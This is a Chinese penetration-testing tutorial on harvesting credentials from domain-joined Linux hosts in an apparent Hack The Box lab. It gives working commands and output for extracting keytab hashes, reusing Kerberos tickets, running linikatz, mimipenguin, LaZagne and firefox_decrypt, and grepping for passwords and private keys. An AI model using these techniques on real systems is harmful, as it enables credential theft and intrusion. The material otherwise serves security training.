渗透测试--Linux上获取凭证

瘾大侠2024-12-03 22:15

在测试过程中我们也会发现一些Linux主机加域的情况，虽然不多见，但它确实存在。正所谓技多不压身，这样能够触类旁通的知识，我们怎能错过，所以在此我们将会主要探讨从Linux主机上获取域凭证的方法。主要有以下内容：

1.realm检查当前主机入域情况

2.ps命令检查入域情况

3.find搜索keytab文件

4.计划任务搜索keytab文件

5./tmp目录下查找cacche文件

6.环境变量查找ccache文件

7.使用klist命令展示keytab内相关人员

8.使用id命令显示人员权限

9.使用keytabextract提取keytab中的NTLM

10.linikatz自动化收集凭据工具

11.impacket-ticketConverter切换凭证平台工具

12.其他以搜索文件为基础的密码搜索方案

realm检查Linux主机是否已经加入域

复制代码 
[email protected]@linux01:~$ realm list

inlanefreight.htb
  type: kerberos
  realm-name: INLANEFREIGHT.HTB
  domain-name: inlanefreight.htb
  configured: kerberos-member
  server-software: active-directory
  client-software: sssd
  required-package: sssd-tools
  required-package: sssd
  required-package: libnss-sss
  required-package: libpam-sss
  required-package: adcli
  required-package: samba-common-bin
  login-formats: %[email protected]
  login-policy: allow-permitted-logins
  permitted-logins: [email protected], [email protected]
  permitted-groups: Linux Admins

PS检查Linux主机是否已经加入域

复制代码 
[email protected]@linux01:~$ ps -ef | grep -i "winbind\|sssd"

root        2140       1  0 Sep29 ?        00:00:01 /usr/sbin/sssd -i --logger=files
root        2141    2140  0 Sep29 ?        00:00:08 /usr/libexec/sssd/sssd_be --domain inlanefreight.htb --uid 0 --gid 0 --logger=files
root        2142    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root        2143    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files

find搜索keytab文件

复制代码 
[email protected]@linux01:~$ find / -name *keytab* -ls 2>/dev/null

<SNIP>

   131610      4 -rw-------   1 root     root         1348 Oct  4 16:26 /etc/krb5.keytab
   262169      4 -rw-rw-rw-   1 root     root          216 Oct 12 15:13 /opt/specialfiles/carlos.keytab

计划任务搜索keytab文件

因为如果linux加域后肯定是不愿意每次都重新将keytab文件导入的，所以通常会直接作为计划任务，或服务开启。

复制代码 
[email protected]@linux01:~$ crontab -l

# Edit this file to introduce tasks to be run by cron.
# 
<SNIP>
# 
# m h  dom mon dow   command
*5/ * * * * /home/[email protected]/.scripts/kerberos_script_test.sh
[email protected]@linux01:~$ cat /home/[email protected]/.scripts/kerberos_script_test.sh
#!/bin/bash


#这里的svc_workstations.kt是起了别名的keytab文件
kinit [email protected] -k -t /home/[email protected]/.scripts/svc_workstations.kt
smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls'  -k -no-pass > /home/[email protected]/script-test-results.txt

/tmp中搜索ccache文件

复制代码 
ls -la /tmp

环境变量查找ccache文件

凭证缓存或ccache文件会在 Kerberos 凭证有效期间（一般在用户会话持续期间）保存凭证。用户向域进行身份验证后，会创建一个 ccache 文件来存储票证信息。此文件的路径放在KRB5CCNAME环境变量中。如果和Windows类比，那么就是TGT

复制代码 
env | grep -i krb5

使用klist命令展示keytab内相关人员

复制代码 
[email protected]@linux01:~$ klist -k -t /opt/specialfiles/carlos.keytab 

Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp           Principal
---- ------------------- ------------------------------------------------------
   1 10/06/2022 17:09:13 [email protected]

使用id命令显示人员权限

复制代码 
root@linux01:~# id [email protected]

uid=647401106([email protected]) gid=647400513(domain [email protected]) groups=647400513(domain [email protected]),647400512(domain [email protected]),647400572(denied rodc password replication [email protected])

使用keytabextract提取keytab中的NTLM

复制代码 
[email protected]@linux01:~$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab 

[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
        REALM : INLANEFREIGHT.HTB
        SERVICE PRINCIPAL : carlos/
        NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
        AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
        AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4

linikatz自动化收集凭据工具

GitHub - CiscoCXSecurity/linikatz: linikatz is a tool to attack AD on UNIX

复制代码 
cmundy2@htb[/htb]$ wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
cmundy2@htb[/htb]$ /opt/linikatz.sh
 _ _       _ _         _
| (_)_ __ (_) | ____ _| |_ ____
| | | '_ \| | |/ / _` | __|_  /
| | | | | | |   < (_| | |_ / /
|_|_|_| |_|_|_|\_\__,_|\__/___|

             =[ @timb_machine ]=

I: [freeipa-check] FreeIPA AD configuration
-rw-r--r-- 1 root root 959 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 2169 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Linux-Foundation-Firmware
-rw-r--r-- 1 root root 1702 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Hughski-Limited
-rw-r--r-- 1 root root 1679 Mar  4  2020 /etc/pki/fwupd/LVFS-CA.pem
-rw-r--r-- 1 root root 2169 Mar  4  2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Foundation-Metadata
-rw-r--r-- 1 root root 959 Mar  4  2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 1679 Mar  4  2020 /etc/pki/fwupd-metadata/LVFS-CA.pem
I: [sss-check] SSS AD configuration
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/timestamps_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct  7 12:17 /var/lib/sss/db/config.ldb
-rw------- 1 root root 4154 Oct 10 19:48 /var/lib/sss/db/ccache_INLANEFREIGHT.HTB
-rw------- 1 root root 1609728 Oct 10 19:55 /var/lib/sss/db/cache_inlanefreight.htb.ldb
-rw------- 1 root root 1286144 Oct  4 16:26 /var/lib/sss/db/sssd.ldb
-rw-rw-r-- 1 root root 10406312 Oct 10 19:54 /var/lib/sss/mc/initgroups
-rw-rw-r-- 1 root root 6406312 Oct 10 19:55 /var/lib/sss/mc/group
-rw-rw-r-- 1 root root 8406312 Oct 10 19:53 /var/lib/sss/mc/passwd
-rw-r--r-- 1 root root 113 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/localauth_plugin
-rw-r--r-- 1 root root 40 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/krb5_libdefaults
-rw-r--r-- 1 root root 15 Oct  7 12:17 /var/lib/sss/pubconf/krb5.include.d/domain_realm_inlanefreight_htb
-rw-r--r-- 1 root root 12 Oct 10 19:55 /var/lib/sss/pubconf/kdcinfo.INLANEFREIGHT.HTB
-rw------- 1 root root 504 Oct  6 11:16 /etc/sssd/sssd.conf
I: [vintella-check] VAS AD configuration
I: [pbis-check] PBIS AD configuration
I: [samba-check] Samba configuration
-rw-r--r-- 1 root root 8942 Oct  4 16:25 /etc/samba/smb.conf
-rw-r--r-- 1 root root 8 Jul 18 12:52 /etc/samba/gdbcommands
I: [kerberos-check] Kerberos configuration
-rw-r--r-- 1 root root 2800 Oct  7 12:17 /etc/krb5.conf
-rw------- 1 root root 1348 Oct  4 16:26 /etc/krb5.keytab
-rw------- 1 [email protected] domain [email protected] 1406 Oct 10 19:55 /tmp/krb5cc_647401106_HRJDux
-rw------- 1 [email protected] domain [email protected] 1414 Oct 10 19:55 /tmp/krb5cc_647401106_R9a9hG
-rw------- 1 [email protected] domain [email protected] 3175 Oct 10 19:55 /tmp/krb5cc_647402606
I: [samba-check] Samba machine secrets
I: [samba-check] Samba hashes
I: [check] Cached hashes
I: [sss-check] SSS hashes
I: [check] Machine Kerberos tickets
I: [sss-check] SSS ticket list
Ticket cache: FILE:/var/lib/sss/db/ccache_INLANEFREIGHT.HTB
Default principal: [email protected]

Valid starting       Expires              Service principal
10/10/2022 19:48:03  10/11/2022 05:48:03  krbtgt/[email protected]
    renew until 10/11/2022 19:48:03, Flags: RIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
I: [kerberos-check] User Kerberos tickets
Ticket cache: FILE:/tmp/krb5cc_647401106_HRJDux
Default principal: [email protected]

Valid starting       Expires              Service principal
10/07/2022 11:32:01  10/07/2022 21:32:01  krbtgt/[email protected]
    renew until 10/08/2022 11:32:01, Flags: FPRIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
Ticket cache: FILE:/tmp/krb5cc_647401106_R9a9hG
Default principal: [email protected]

Valid starting       Expires              Service principal
10/10/2022 19:55:02  10/11/2022 05:55:02  krbtgt/[email protected]
    renew until 10/11/2022 19:55:02, Flags: FPRIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
Ticket cache: FILE:/tmp/krb5cc_647402606
Default principal: [email protected]

Valid starting       Expires              Service principal
10/10/2022 19:55:02  10/11/2022 05:55:02  krbtgt/[email protected]
    renew until 10/11/2022 19:55:02, Flags: FPRIA
    Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 , AD types: 
I: [check] KCM Kerberos tickets

impacket-ticketConverter切换凭证平台工具

复制代码 
cmundy2@htb[/htb]$ impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] converting ccache to kirbi...
[+] done

在Linux中搜索凭据

Files History Memory Key-Rings
配置 日志 缓存 浏览器存储的凭据
数据库 命令行历史记录 内存处理
笔记
脚本
源代码
计划任务
SSH 密钥

在Linux中寻找配置文件

复制代码 
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done


File extension:  .conf
/run/tmpfiles.d/static-nodes.conf
/run/NetworkManager/resolv.conf
/run/NetworkManager/no-stub-resolv.conf
/run/NetworkManager/conf.d/10-globally-managed-devices.conf
...SNIP...
/etc/ltrace.conf
/etc/rygel.conf
/etc/ld.so.conf.d/x86_64-linux-gnu.conf
/etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
/etc/fprintd.conf

在Linux中寻找配置文件并答应中招内容

复制代码 
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

File:  /snap/core18/2128/etc/ssl/openssl.cnf
challengePassword		= A challenge password

File:  /usr/share/ssl-cert/ssleay.cnf

File:  /etc/ssl/openssl.cnf
challengePassword		= A challenge password

在Linux中寻找文档文件

复制代码 
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

在Linux中寻找数据库文件

复制代码 
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done

DB File extension:  .sql

DB File extension:  .db
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db

寻找用户笔记

复制代码 
find /home/* -type f -name "*.txt" -o ! -name "*.*"

寻找脚本

复制代码 
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done

寻找计划任务

复制代码 
cat /etc/crontab
ls -la /etc/cron.*/

寻找SSH公私钥

复制代码 
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"

寻找历史记录

复制代码 
tail -n5 /home/*/.bash*

寻找日志文件

复制代码 
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
日志档案 描述
/var/log/messages 通用系统活动日志。
/var/log/syslog 通用系统活动日志。
/var/log/auth.log （Debian）所有身份验证相关的日志。
/var/log/secure （RedHat/CentOS）所有与身份验证相关的日志。
/var/log/boot.log 引导信息。
/var/log/dmesg 硬件和驱动程序相关的信息和日志。
/var/log/kern.log 与内核相关的警告、错误和日志。
/var/log/faillog 登录尝试失败。
/var/log/cron 与 cron 作业相关的信息。
/var/log/mail.log 所有邮件服务器相关的日志。
/var/log/httpd 所有 Apache 相关日志。
/var/log/mysqld.log 所有 MySQL 服务器相关的日志。

寻找内存中的凭证

我们可以使用mimiprnguin

复制代码 
cry0l1t3@unixclient:~$ sudo python3 mimipenguin.py
[sudo] password for cry0l1t3: 

[SYSTEM - GNOME]	cry0l1t3:WLpAEXFa0SbqOHY


cry0l1t3@unixclient:~$ sudo bash mimipenguin.sh 
[sudo] password for cry0l1t3: 

MimiPenguin Results:
[SYSTEM - GNOME]          cry0l1t3:WLpAEXFa0SbqOHY

也可以使用LaZagne.py

复制代码 
> python2.7 laZagne.py all

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

------------------- Shadow passwords -----------------

[+] Hash found !!!
Login: systemd-coredump
Hash: !!:18858::::::

[+] Hash found !!!
Login: sambauser
<span style="color:#a4b1cd">Hash<span style="color:#a4b1cd">:</span> </span><span style="color:#ff8484"><strong>$</strong></span><span style="color:#ffaf00">6</span><span style="color:#c5f467">$wgK4tGq7Jepa</span>.V0g<span style="color:#c5f467">$QkxvseL</span>.xkC3jo682xhSGoXXOGcBwPLc2CrAPugD6PYXWQlBkiwwFs7x/fhI.8negiUSPqaWyv7wC8uwsWPrx1:18862:0:99999:7:::

[+] Password found !!!
Login: cry0l1t3
Password: WLpAEXFa0SbqOHY


[+] 3 passwords have been found.
For more information launch it again with the -v option

elapsed time = 3.50091600418</code></span></span>

寻找浏览器中的凭证

找到文件

复制代码 
ls -l .mozilla/firefox/ | grep default 

drwx------ 11 cry0l1t3 cry0l1t3 4096 Jan 28 16:02 1bplpd86.default-release
drwx------  2 cry0l1t3 cry0l1t3 4096 Jan 28 13:30 lfx3lvhb.default

解读文件

复制代码 
cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .

{
  "nextId": 2,
  "logins": [
    {
      "id": 1,
      "hostname": "https://www.inlanefreight.com",
      "httpRealm": null,
      "formSubmitURL": "https://www.inlanefreight.com",
      "usernameField": "username",
      "passwordField": "password",
      "encryptedUsername": "MDoEEPgAAAA...SNIP...1liQiqBBAG/8/UpqwNlEPScm0uecyr",
      "encryptedPassword": "MEIEEPgAAAA...SNIP...FrESc4A3OOBBiyS2HR98xsmlrMCRcX2T9Pm14PMp3bpmE=",
      "guid": "{412629aa-4113-4ff9-befe-dd9b4ca388e2}",
      "encType": 1,
      "timeCreated": 1643373110869,
      "timeLastUsed": 1643373110869,
      "timePasswordChanged": 1643373110869,
      "timesUsed": 1
    }
  ],
  "potentiallyVulnerablePasswords": [],
  "dismissedBreachAlertsByLoginGUID": {},
  "version": 3
}

浏览器密码解密工具

复制代码 
python3.9 firefox_decrypt.py

Select the Mozilla profile you wish to decrypt
1 -> lfx3lvhb.default
2 -> 1bplpd86.default-release

2

Website:   https://testing.dev.inlanefreight.com
Username: 'test'
Password: 'test'

Website:   https://www.inlanefreight.com
Username: 'cry0l1t3'
Password: 'FzXUxJemKm6g2lGh'

/etc/shadow & /etc/passwd & /etc/security/opasswd

/etc/passwd中包含用户名和密码，其中如果passwd字段是空的，那么我们就可以空密码登录服务器。如果密码字段是x则需要在shadow中完成认证。哟时候、etc/passwd可以被编辑./etc/security/opasswd中存在很多旧密码。

|----------------|---------------|----------|----------|--------------|----------------------|-----------------------------------|
| htb-student: | x: | 1000: | 1000: | ,,,: | /home/htb-student: | /bin/bash |
| <username>: | <password>: | <uid>: | <gid>: | <comment>: | <home directory>: | <cmd executed after logging in> |

相关推荐
ai产品老杨30 分钟前
全流程数字化管理的智慧物流开源了。
前端·javascript·vue.js·人工智能·安全
流烟默1 小时前
编写脚本在Linux下启动、停止SpringBoot工程
linux·spring boot·shell
蒜白1 小时前
10-- 网络攻击防御原理全景解析 | 从单包攻防到DDoS军团作战(包你看一遍全记住)
网络安全·网络工程师·ddos
IT 古月方源1 小时前
Linux 删除 /boot 后 恢复 （多种方法）
linux·运维·服务器
潇然四叶草1 小时前
rk3588 linux的rootfs.img挂载后通过chroot切换根目录安装应用提示空间不足
linux·rootfs·扩容·空间不足
程序漫游人1 小时前
Nginx参数调优脚本
运维·网络·nginx
Arbori_262151 小时前
linux 命令 mkdir
linux·运维·服务器
秃小弟1 小时前
在windows中编写的脚本，在linux上运行时报错linux $‘\r‘: command not found
linux·运维·服务器
笨笨5612 小时前
[工控机安全] 使用DriverView快速排查不可信第三方驱动（附详细图文教程）
windows·安全
森焱森2 小时前
LoRaWAN技术解析
c语言·网络·架构·智能路由器
热门推荐
01RAG 实践- Ollama+RagFlow 部署本地知识库02从零安装 LLaMA-Factory 微调 Qwen 大模型成功及所有的坑03DeepSeek各版本说明与优缺点分析04如何在WPS和Word/Excel中直接使用DeepSeek功能05KGG转MP3工具|非KGM文件|解密音频06本地部署DeepSeek教程（Mac版本）073.18练习08Windows 11 安装 Dify 完整指南 非docker环境09本地化部署AI知识库：基于Ollama+DeepSeek+AnythingLLM保姆级教程10最新 neo4j 5.26版本下载安装配置步骤【附安装包】